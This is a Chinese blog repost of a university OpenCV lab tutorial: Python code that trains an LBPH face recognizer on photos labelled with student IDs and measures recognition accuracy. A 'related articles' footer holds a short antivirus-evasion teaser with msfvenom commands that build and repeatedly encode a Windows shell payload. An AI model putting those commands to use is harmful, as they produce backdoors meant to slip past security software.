Python-中北大学人工智能OpenCV人脸识别(根据图片训练数据,根据训练好的数据识别人脸)

news2024/10/7 16:20:55

文章目录

  • 1. 根据训练照片训练数据模型
  • 2. 根据训练的数据文件,进行人脸识别

1. 根据训练照片训练数据模型

在这里插入图片描述
训练流程:

  1. 读取文件夹下的所有文件,使用PIL 库中的Image方法打开图片,并将其转化为灰度图片。
  2. 加载人脸数据分类器,这里直接使用OpenCV库自带的(cv.CascadeClassifier(…))
  3. 使用numpy.array方法,让照片向量化。使用分类器detectMultiScale方法,提取图片脸部特征值。
  4. 将一个人的信息和脸部特征值写入到文件中,达到训练的目的

照片命名格式:学号-1/学号-2+.jpg

import cv2 as cv
import os
from PIL import Image
import numpy as np


# 根据jpgForTrainer文件夹中的图片进行训练,随后的训练数据保存到trainer/trainer.yml

def getImageAndLabel(url):
    # 储存人脸数据
    faces_msg = []
    name = []
    # 保存图片信息
    imagePaths = [os.path.join(url, f) for f in os.listdir(url)]
    # 加载分类器
    detector = cv.CascadeClassifier('../haarcascade_frontalface_alt2.xml')
    # 遍历图片
    for pict in imagePaths:
        fileImg = Image.open(pict).convert('L')  # 打开灰度图像
        # 图片向量化
        imgNumpy = np.array(fileImg, 'uint8')
        face = detector.detectMultiScale(imgNumpy, 1.1, 5)  # 提取图片脸部特征值
        # 提取图片的学号
        ids = int(os.path.split(pict)[1].split('-')[0])
        flag = False
        for x, y, w, h in face:
            # 保存脸部数据
            flag = True
            name.append(ids)
            faces_msg.append(imgNumpy[y:y + h, x:x + w])  # 保存脸部数据
        if flag:
            print(f'DEBUG:捕捉到学号为{ids}的人脸,')
    print('DEBUG')
    print('id', name)
    print('face', faces_msg)
    return faces_msg, name


if __name__ == '__main__':
    path = "../jpgForTrainer/"
    # 获取人脸特征和姓名
    faces, id = getImageAndLabel(path)
    # 加载识别器
    recognize = cv.face.LBPHFaceRecognizer_create()
    recognize.train(faces, np.array(id))
    # 保存文件
    recognize.write('../trainer/trainer.yml')

2. 根据训练的数据文件,进行人脸识别

步骤:

  1. 将要识别的图片使用os模块,读取进来
  2. 使用cv2库(检测cv)cv.imread函数打开图片,调用人脸识别函数(自定义)进行识别,函数返回从训练数据里面查找的复合条件的学号,根据图片名称来判断识别是否准确
  3. 人脸识别函数中,使用data = cv.face.LBPHFaceRecognizer_create(),data.read(‘…/trainer/trainer.yml’)来加载训练好的数据。
  4. 使用data.predict函数来预测准确性,准确性在25以内的就可以认为识别成功,将学号写到图片上调用cv.imshow函数进行输出。可以使用cv.resize函数对图片进行缩放后再将识别信息写到图片上。
  5. 最后统计识别学号和照片名称学号对应的比例来计算识别成功率即可。
# 测试人脸识别
import cv2 as cv
import os

# 加载训练数据文件
data = cv.face.LBPHFaceRecognizer_create()
data.read('../trainer/trainer.yml')

# 错误数目
fault = 0

path = '../jpgForTest'


# 根据jpgForTest里面的文件来进行识别测试

# 识别模块
def discern(_img):
    ret = []
    gray = cv.cvtColor(_img, cv.COLOR_BGR2GRAY)
    # 加载分类器
    detector = cv.CascadeClassifier('../haarcascade_frontalface_alt2.xml')

    face_data = detector.detectMultiScale(gray, 1.1, 5)
    resize = _img
    flag = False
    for x, y, w, h in face_data:
        flag = True
        cv.rectangle(_img, (x, y,), (x + w, y + h), color=(0, 0, 255), thickness=1)
        # 人脸识别
        s_id, confidence = data.predict(gray[y:y + h, x:x + w])
        resize = cv.resize(_img, dsize=(700, 600))
        if confidence > 25:
            cv.putText(resize, 'UnKnow', (5, 50), cv.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)
        else:
            print('标签id:', s_id, '置信评分:', confidence)
            cv.putText(resize, str(s_id), (5, 50), cv.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)
            ret.append(s_id)
    if not flag:
        # 没检测到人脸
        resize = cv.resize(_img, dsize=(700, 600))
        cv.putText(resize, 'Not Find Face', (5, 50), cv.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)
    # 压缩图片输出
    cv.imshow('result', resize)
    while True:
        get = cv.waitKey(1000)
        if ord(' ') == get or get == -1:
            break
    return ret


# # 获取训练人的学号,以此来判断陌生人脸是否识别成功
# def getMessage():
#     target = os.listdir('../jpgForTrainer')
#     msg = []
#     for Str in target:
#         tmp = Str.split('-')[0]
#         if tmp not in msg:
#             msg.append(tmp)
#     return msg


if __name__ == '__main__':
    files = os.listdir(path)  # 得到文件夹下的所有文件名称
    size = len(files)
    for file in files:  # 遍历文件夹
        stu_id = file.split('.')[0]
        size += 1
        print(path + "/" + file + "正在识别")
        img = cv.imread(path + '/' + file)
        ret = discern(img)

        if len(ret) == 0:
            fault += 1
            print(f'识别错误应该学号为{stu_id},识别学号为{ret}')
        else:
            for item in ret:
                if str(item) not in str(stu_id):
                    fault += 1
                    print(f'识别错误应该学号为{stu_id},识别学号为{ret}')
    print(f'DEBUG:识别失败的个数{fault},测试识别总数{size}')
    print(f'测试成功概率{((size - fault) / size) * 100}%')
    cv.destroyAllWindows()

需要注意的是:这个实验使用的haarcascade_frontalface_alt2.xml文件,是OpenCV自带的人脸图像提取算法,需根据实际路径选取

代码中的置信评分越小,越可靠。

参考资料
一天搞定人脸识别项目!

运行结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22864.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jenkins集成maven环境

在jenkins服务搭建JDK和maven环境 参考: 服务器配置Maven环境 集成Maven环境 点击Manage Jenkins进入jenkins设置 点击Global Tool Configuration 进入全局工具设置 找到Maven 点击 Add Maven 安装maven插件 点击Manage Jenkins进入jenkins设置 点击Manage Plugins 插…

Flutter组件--Align和AnimatedAlign

示意图: Align介绍 Align 一般是用来确定子控件在父布局中的位置,比如居中、左上等多个对齐方式。 什么情况下使用Align? 当子组件需要设置位于父组件的某个位置时,需要用到Align. Align构造函数 const Align({Key? key,this.alignment Alignmen…

[附源码]java毕业设计吾家具线上销售管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

JUC并发编程第二篇,对Future的改进,CompletableFuture核心使用

JUC并发编程第二篇,对Future的改进,CompletableFuture核心使用一、Future和Callable接口二、FutureTask 的使用和存在的问题三、CompletableFuture:改进解决上边Future存在问题四、创建异步操作,CompletableFuture的四个核心静态方…

嵌入式系统使用网络镜像或使用网络更新镜像

在我们学习的过程中,有的时候需要多次修改镜像进行实验,那么直接在emmc上部署镜像就不是一个很好的选择了,将镜像部署到网络服务器上也许是最好的办法,你想啊,我们修改编译的新镜像就不用上传到emmc中,不用…

Seata AT模式下的源码解析(二)

6. 一阶段 在一阶段的调用流程是 6.1 DataSource Seata最重要的一个功能就是对 DataSource 进行了代理,在用户执行插入 sql 时会在插入之间根据 sql 构建一个前置镜像出来,如果出现异常了,就可以通过 undolog 日志里面的镜像语句进行回滚&a…

[附源码]java毕业设计乡村振兴惠农推介系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

数字孪生解决方案-最新全套文件

数字孪生解决方案-最新全套文件一、建设背景二、建设思路三、建设方案四、获取 - 数字孪生全套最新解决方案合集一、建设背景 建立真实世界与虚拟世界的数据映射和数字展示,模拟对象在物理世界中的行为,实时监控物理对象的变化,反映物理世界…

存储设计——如何优化 ClickHouse 索引(一)

Keypoint ClickHouse 索引与其他 RDMS 区别稀疏主键索引及其构建ClickHouse 索引最佳实践 ClickHouse 的索引设计 Whole data: [---------------------------------------------]CounterID: [aaaaaaaaaaaaaaaaaabbbbcdeeeeeeeeeeeeefgggggggghhhhhhhhhiiiiiiiiiklll…

关于stm32的flash内存

关于stm32的flash操作,网上已经有很多详细的介绍了,这里只是总结一些告诫。 在使用flash存储数据的时候,对于新手来说,并不知道该把数据存在哪一个地址上,怕存到程序区域,或者越界。 关于这一点很容易搞清楚…

第三十五篇 Swiper 引入使用

对于Swiper来说,相信有很多人都有一定的理解,也有使用过swiper插件的,封装过类似的组件,Swiper的一个使用是非常广泛的,是开源免费、非常强大的一个触摸滑动组件,最典型的就是轮播图了;大家可以…

【机器学习技巧】回归模型的几个常用评估指标(R2、Adjusted-R2、MSE、RMSE、MAE、MAPE)及其在sklearn中的调用方式

目录回归模型评估的两个方面1. 预测值的拟合程度2. 预测值的准确度以糖尿病数据集的回归模型为计算示例-计算各指标1. 决定系数R21.1 R2求解方式一----从metrics调用r2_socre1.2 R2求解方式二----从模型调用score1.3 R2求解方式二----交叉验证调用scoringr22. 校准决定系数Adju…

【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

🏆个人主页:企鹅不叫的博客 ​ 🌈专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接:代码仓库地址 ⚡若有帮助可以【关注点赞收藏】…

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 ,这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于,可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进?请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树,被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡;导致带宽利用率、设备资源利用率较低 (1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

👨‍🎓个人主页:研学社的博客 💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表(完整版)一、介绍二、compareTo()使用场景场景一:数值型字符串比较场景二:排序比较场景三:对相同结构的日期比较三、源码分析四、全量ASCII 码表(完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年,所有浏览器都完整的支持ECMAScript 5.1,旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好,我是阿阳 今天给大家分享CSGO搬砖项目,这个是最为稳定利润可观的项目,一个月净赚3万 阿阳网络创始人,8年互联网项目实战经验,个人ip打造【玩赚steam,3年买2套房】国外steam游戏搬砖&#xff08…